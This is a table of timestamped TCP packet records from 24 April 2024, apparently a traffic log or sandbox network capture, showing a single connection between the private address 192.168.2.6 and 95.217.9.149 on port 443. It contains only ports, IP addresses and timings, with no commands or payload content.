Apr 24, 2024 09:17:17.976128101 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.976128101 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.982325077 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.982367992 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.982418060 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.982430935 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.982470989 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.982491016 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.987956047 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.988032103 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.988038063 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.988056898 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.988092899 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.988132000 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.994463921 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.994508028 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.994541883 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.994554996 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.994590998 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.994610071 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.000073910 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.000134945 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.000180960 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.000195026 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.000242949 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.000261068 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.006134987 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.006181955 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.006228924 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.006241083 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.006299019 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.012207985 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.012252092 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.012303114 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.012315989 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.012363911 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.012383938 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.017589092 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.017632008 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.017678022 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.017690897 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.017726898 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.017746925 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.022986889 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.023029089 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.023083925 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.023097038 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.023139954 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.023169041 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.028594971 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.028636932 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.028700113 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.028713942 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.028757095 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.028795004 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.034550905 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.034591913 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.034640074 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.034653902 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.034687996 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.034706116 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.039961100 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.040004015 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.040059090 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.040072918 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.040127993 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.040127993 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.045331001 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.045384884 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.045437098 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.045449972 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.045492887 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.045519114 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.050640106 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.050710917 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.050723076 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.050738096 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.050780058 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.050796986 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.055329084 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.055377007 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.055424929 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.055459023 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.055490017 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.055512905 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.060275078 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.060339928 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.060368061 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.060396910 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.060424089 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.060444117 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.065634966 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.065677881 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.065727949 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.065738916 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.065793991 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.070765018 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.070828915 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.070857048 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.070869923 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.070898056 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.070935011 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.075242996 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.075284958 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.075331926 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.075342894 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.075393915 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.080565929 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.080643892 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.080656052 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.080668926 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.080708027 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.080727100 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.085146904 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.085187912 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.085227013 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.085238934 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.085284948 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.085304022 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.089878082 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.089917898 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.089962006 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.089973927 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.090018988 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.090044022 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.094353914 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.094396114 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.099344015 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.099800110 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.099818945 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.099899054 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.103797913 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.103840113 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.103883028 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.103895903 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.103921890 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.103954077 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.108336926 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.108376026 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.108422995 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.108434916 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.108473063 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.108489990 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.113147020 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.113204002 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.113234043 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.113246918 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.113277912 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.113302946 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.117369890 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.117423058 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.117479086 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.117494106 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.117521048 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.117539883 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.121746063 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.121789932 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.121833086 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.121845961 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.121876001 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.121895075 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.126070976 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.126118898 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.126168966 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.126183033 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.126214981 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.126245975 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.130621910 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.130661011 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.130697012 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.130708933 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.130744934 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.130762100 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.134913921 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.134955883 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.134994984 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.135008097 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.135052919 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.135072947 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.139269114 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.139309883 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.139348984 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.139360905 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.139396906 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.139419079 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.143532038 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.143572092 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.143621922 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.143635035 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.143665075 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.143702030 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.146933079 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.146972895 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.147021055 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.147034883 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.147075891 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.147095919 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.151609898 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.151652098 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.151686907 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.151698112 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.151734114 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.151750088 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.155606031 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.155646086 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.155697107 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.155709028 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.155745983 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.155781031 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.161780119 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.161819935 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.161860943 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.161874056 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.161906004 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.161925077 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.165402889 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.165442944 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.165477991 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.165489912 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.165520906 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.165544987 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.169279099 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.169317961 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.169379950 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.169393063 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.169429064 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.169452906 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.173721075 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.173759937 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.173800945 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.173813105 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.173851967 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.173871040 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.177166939 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.177206993 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.177259922 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.177272081 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.177314043 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.177339077 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.181694031 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.181746960 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.181802034 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.181814909 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.181853056 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.181871891 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.185405970 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.185484886 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.185502052 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.185513973 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.185559988 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.185579062 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.188971043 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.189013004 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.189049959 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.189059973 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.189096928 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.189112902 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.193300962 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.193341017 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.193378925 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.193391085 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.193428993 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.193444967 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.197181940 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.197221994 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.197258949 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.197269917 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.197304964 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.197329998 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.201034069 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.201075077 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.201160908 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.201174021 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.201813936 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.206865072 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.206907034 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.206953049 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.206964970 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.207003117 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.207022905 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.210535049 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.210573912 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.210621119 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.210633993 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.210669994 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.210690022 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.214423895 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.214463949 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.214508057 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.214519978 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.214561939 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.214581013 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.217747927 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.217787027 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.217843056 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.217854977 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.217899084 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.217915058 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.222393036 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.222434998 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.222482920 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.222496033 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.222546101 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.225625992 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.225671053 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.225717068 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.225734949 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.225760937 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.225783110 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.229018927 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.229058981 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.229110003 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.229125023 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.229151011 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.229172945 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.232400894 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.232444048 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.232489109 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.232503891 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.232544899 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.232561111 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.236891985 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.236932993 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.236978054 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.236993074 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.237030029 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.237049103 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.240247011 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.240302086 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.240353107 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.240365982 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:18.240406990 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:18.240427017 CEST	49721	443	192.168.2.6	95.217.9.149
